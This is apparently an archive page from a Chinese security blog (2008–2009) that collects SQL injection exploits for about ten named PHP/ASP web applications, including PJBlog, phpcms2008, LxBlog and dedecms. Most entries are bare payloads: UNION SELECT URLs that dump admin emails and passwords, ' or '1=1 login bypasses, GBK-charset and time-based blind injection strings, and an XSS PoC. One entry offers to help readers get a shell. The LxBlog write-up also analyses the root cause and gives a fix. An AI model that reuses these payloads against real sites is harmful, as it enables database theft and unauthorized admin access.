存档

文章标签 ‘注入’

WebMember SQL注入漏洞

2009年6月3日 admin 2 条评论

利用方法:

http://[host]/[script_path]/form.php?formID=-100 UNION SELECT 1,2,3,concat_ws(0×3e,email,password),5 FROM mem_user–

分类: 脚本相关 标签: ,

Million Dollar Text Links SQL注入漏洞

2009年6月1日 admin 评论已被关闭

利用方法:

http://www.[SpookZanG].net/demo/million/admin.link.modify.php?id=-6%20UNION%20SELECT%201,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9–

分类: 脚本相关 标签: ,

PJBlog个人博客系统cls_logAction.asp文件存在注入漏洞

2009年5月9日 admin 1 条评论

 

影响版本:PJBlog 3.0.6.170
程序介绍:
PJBlog一套开源免费的中文个人博客系统程序,采用asp+Access的技术,具有相当高的运作效能以及更新率,也支持目前Blog所使用的新技术。

漏洞分析:
在文件class/cls_logAction.asp中:

1
2
3
4
oldcate=request.form("oldcate")  //第429行
oldctype=request.form("oldtype")
 
D = conn.execute("select cate_Part from blog_Category where  cate_ID="&oldcate)(0)

程序没有对变量oldcate做任何过滤放入sql查询语句中,导致注入漏洞的产生。

漏洞利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /blogedit.asp HTTP/1.1
Accept: application/x-shockwave-flash,  image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword,  application/vnd.ms-excel, application/vnd.ms-powerpoint, */*
Referer: http://127.0.0.1/blogedit.asp?id=1
Accept-Language:  zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU:  x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible;  MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; .NET CLR 2.0.50727)
Host:  127.0.0.1
Content-Length: 513
Connection: Keep-Alive
Cache-Control:  no-cache
Cookie:  __utma=96992031.4542583209449947600.1239335726.1240296350.1240324232.7;  __utmz=96992031.1239335726.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);  PJBlog3Setting=ViewType=normal;  PJBlog3=memRight=111111111111&memHashKey=c80f369e20b317566f736dbc70839834745d9c20&memName=admin&exp=2010%2D4%2D21;  ASPSESSIONIDCCDSDABA=OEBBHCODJFKIJEGKGCPHGMCP
 
id=1&log_editType=1&action=post&log_IsDraft=False&title=xxx&log_CateID=3&cname=xxx&ctype=0&oldcname=xxx&oldtype=0&oldcate=3201=1&log_weather=sunny&log_Level=level3&log_comorder=1&blog_pws=0&log_Readpw=&log_Pwtips=&c_pws=0&blog_Meta=0&evio_KeyWords=xxx&evio_Description=web+safe&log_From=%E6%9C%AC%E7%AB%99%E5%8E%9F%E5%88%9B&log_FromURL=http%3A%2F%2Flocalhost%2Fbackci%2F&PubTimeType=com&PubTime=2009-4-21+15%3A54%3A46&tags=&UBBfonts=&UBBfonts=&UBBfonts=&UBBmethod=on&Message=web+safe&log_Intro=web+safe&log_Quote=

解决方案:
厂商补丁:
PJblog
——-
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://bbs.pjhome.net/thread-52214-1-1.html

信息来源:
<*来源: Bug.Center.Team http://www.cnbct.org
链接: http://wavdb.com/vuln/1410 *>

分类: 脚本相关 标签: , , , ,

chCounter 3.1.3的SQL注入漏洞!

2009年4月22日 admin 没有评论

前提:magic quotes = off

来到登录页面

http://[SpookZanG]//counter/stats/index.php

用户名与密码都输入: or ‘=’

即可。

分类: 脚本相关 标签: , , ,

NetHoteles 2.0/3.0 存在注入漏洞

2009年4月21日 admin 没有评论

来到后台:

http://www.[spookzang].net/superadmin (默认)

用户名和密码分别输入:’ or ‘1=1

即可登入。

分类: 脚本相关 标签: , , ,

Online Guestbook存在SQL注入漏洞

2009年4月20日 admin 没有评论

利用方法

http://www.[SpookZanG].Net/demo/OGP/ogp_show.php?display=10 and substring(@@version,1,1)=5

分类: 脚本相关 标签: , , ,

My Dealer Cms 2.0存在SQL注入漏洞!

2009年4月14日 admin 没有评论

来到登入点:(默认)

http://[SpookZanG]/demo/admin/

用户名和密码输入:

‘ or ‘1=1

即可。

分类: 脚本相关 标签: , , ,

phpcms2008 ask的0DAY

2009年3月20日 admin 没有评论

受影响程序: phpcms2008 gbk

漏洞文件:ask/search_ajax.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
require ‘./include/common.inc.php’;
require_once MOD_ROOT.‘include/ask.class.php’;
$ask = new ask();
header(‘Content-type: text/html; charset=utf-8′);
if(strtolower(CHARSET) != ‘utf-8′) $q = iconv(CHARSET, ‘utf-8′, $q);
if($q)
{
$where = “ title LIKE ’%$q%’ AND status = 5″;
}
else
{
exit(‘null’);
}
$infos = $ask->listinfo($where, ‘askid DESC’, ”, 10);
 
foreach($infos as $key=>$val)
{
$val['title'] = str_replace($q, ‘<span class=”c_orange”>’.$q.‘</span>’, $val['title']);
$info[$key]['title'] = CHARSET != ‘utf-8′ ? iconv(CHARSET, ‘utf-8′, $val['title']) : $val['title'];
$info[$key]['url'] = $val['url'];
}
 
echo(json_encode($info));
?>

ask/search_ajax.php?q=s%E6′/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0×706870636D73)>52%23
ask/search_ajax.php?q=s%E6′/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0×706870636D73)>52%23
From http://www.nukeblog.cn/article/125.htm

分类: 脚本相关 标签: , , ,

浅析LxBlog V6变量未初始化漏洞

2009年3月20日 admin 没有评论

作者:Flyh4t

本文已经发表在黑客防线,转载请署名

Lxblog 是 PHPWind 开发的一套基于 PHP+MySQL 数据库平台架构的多用户博客系统,强调整站与用户个体间的交互,拥有强大的个人主页系统、独立的二级域名体系、灵活的用户模板系统、丰富的朋友圈和相册功 能。但是该blog系统在安全性上并不让人满意,本文就来分析lxblog一个变量未初始化造成的sql注入漏洞。

我们先来分析一下这个漏洞,看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
=======================code==================================
/user/tag.php
<?php
!function_exists('usermsg') && exit('Forbidden');
!in_array($type,$item_type) && exit;
//$type、$item_type均没有初始化
require_once(R_P.'mod/charset_mod.php');
foreach ($_POST as $key => $value) {
    ${'utf8_'.$key} = $value;
    ${$key} = $db_charset != 'utf-8' ? convert_charset('utf-8',$db_charset,$value) : $value;
}
 
if ($job == 'add') {
    ……//省略部分代码
}elseif($job=="modify"){
    $tagnum="{$type}num";
    $touchtagdb=$db->get_one("SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'");
    //$type带入查询语句操作数据库
    $touchtagdb['uid']!=$admin_uid && exit;
……//省略部分代码
=======================code==================================
 
当然,在文件的第一行有 !function_exists(’usermsg’) && exit(’Forbidden’); 这样一段代码的限制,我们不能直接访问该文件,但是可以通过user_index.php来include这个文件执行,看具体代码
 
 
=======================code==================================
//user_index.php
<?php
……//省略部分代码
require_once(R_P.'user/global.php');
require_once(R_P.'user/top.php');
 
if (!$action) {
    ……//省略部分代码
} elseif ($action && file_exists(R_P."user/$action.php")) {
    $basename = "$user_file?action=$action";
    require_once(Pcv(R_P."user/$action.php"));
   //通过提交$action=tag即可以调用到存在漏洞的文件
}
……//省略部分代码
=======================code==================================
 
看到这个地方,应该已经可以触发该漏洞了,但是依然要考虑到是否会受到register_global的影响,幸好user_index.php在开始的时候包含了user/global.php这个文件,看看这个文件为我们提供了什么
 
 
=======================code==================================
//user/global.php
<?
……//省略部分代码
if (!in_array($action,array('blogdata','comment','itemcp','post','userinfo'))) {
    //'blogdata','comment','itemcp','post','userinfo','global','top'
//我们提交的action=tag,不在上面这个数组里面,可以触发下面的代码成功绕过register_global的影响
    foreach ($_POST as $_key => $_value) {
        !ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_POST[$_key];
    }
    foreach ($_GET as $_key => $_value) {
        !ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_GET[$_key];
    }
}
……//省略部分代码
=======================code==================================

通过上面的分析,我们已经可以成功控制$type和$item_type的值了,但是还要注意两个地方:

第一个地方是要满足 in_array($type,$item_type),我们通过直接将$type和$item_type[]赋值为相同变量即可

第二个地方是要注意我们注射的语句

1
$touchtagdb=$db->get_one("SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'");

综合以上,我们构造出来盲注的代码如下

1
2
3
4
=======================poc==================================
//判断uid=1的用户的密码第一位的ASCII值是否大于0
http://blog.xxx.com/user_index.php?action=tag&job=modify&type=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*&item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid=1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*
=======================poc==================================

通过浏览器返回的时间来判断是否猜解正确,如果是正确的话,浏览器返回的比较慢,近似假死状态,否则返回的就比较正常。使用二分法不断猜解即可。另 外,如果 数据库版本较低,可以使用benchmark函数来盲注,具体的expliot就不提供了,有需要的可以自己写个代码跑跑,不是什么难事。

另外我们看下lxblog的数据库容错代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
=======================code==================================
function DB_ERROR($msg) {
        global $db_blogname,$REQUEST_URI;
        $sqlerror = mysql_error();
        $sqlerrno = mysql_errno();
        //ob_end_clean();
        echo"<html><head><title>$db_blogname</title><style type='text/css'>P,BODY{FONT-FAMILY:tahoma,arial,sans-serif;FONT-SIZE:11px;}A { TEXT-DECORATION: none;}a:hover{ text-decoration: underline;}TD { BORDER-RIGHT: 1px; BORDER-TOP: 0px; FONT-SIZE: 16pt; COLOR: #000000;}</style><body>\n\n";
        echo"<table style='TABLE-LAYOUT:fixed;WORD-WRAP: break-word'><tr><td>$msg";
        echo"<br /><br /><b>The URL Is</b>:<br />http://$_SERVER[HTTP_HOST]$REQUEST_URI";
        echo"<br /><br /><b>MySQL Server Error</b>:<br />$sqlerror  ( $sqlerrno )";
        echo"<br /><br /><b>You Can Get Help In</b>:<br /><a target=_blank href=http://www.phpwind.net><b>http://www.phpwind.net</b></a>";
        echo"</td></tr></table>";
        exit;
    }
=======================code==================================

函数直接将造成数据库错误的url返回给客户端,对输出未作任何过滤,造成了xss漏洞,下面是我对官方的测试:

1
2
3
4
5
=======================poc==================================
 
http://www.lxblog.net/user_index.php?action=tag&job=modify&type=<script>alert(/xss/)</script>&item_type[]=<script>alert(/xss/)</script>
 
=======================poc==================================

Lxblog 的漏洞就分析到这里了,这个漏洞的修补也很简单,只要在数据库查询语句前面将变量$item_type赋值为指定的数组就可以了。网上的PHP程序有不少 都存在类似的漏洞,由于变量没有被正确的初始化,从而导致攻击者可以控制变量被改变程序的流程执行一些非法操作。其实这个问题并不复杂,保持一个良好的编 码习惯,正确初始化类和变量即可杜绝此类漏洞。

分类: 脚本相关 标签: , , ,

dedecms gbk版0day

2008年11月3日 admin 没有评论

貌似又是通过特殊符号绕开GBK的转换……

漏洞文件:plus/infosearch.php

测试版本:5.1 gbk

描述:$q变量没有过滤直接进入查询,导致注入出现。代码如下:

PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
q = trim($q);
if($areaid > 0) {
$wheresql = "areaid=$areaid and ";
}
 
$query = "select ID,typeid,title,memberID,writer,senddate from #@__infos where $wheresql title like '%$q%' order by senddate desc";
 
$dlist = new DataList();
 
$dlist->pageSize = 20;
$dlist->SetParameter("q",$q);
$dlist->SetParameter("action",'search');
$dlist->SetParameter("areaid",$areaid);
$dlist->SetSource($query);

“‘”突破了,那就照常注入。

测试站:

http://www.SpookZanG.Net/plus/infosearch.php?action=search&q=%cf’%20union%20select%201,2,id,4,pwd,6%20from%20dede_admin/*

至于后台拿shell,找不到后台的一样可以轻松拿到shell.不会的留言。

还有几个文件存在注入问题,象feedback.php,后续发放分析

分类: 脚本相关 标签: , , ,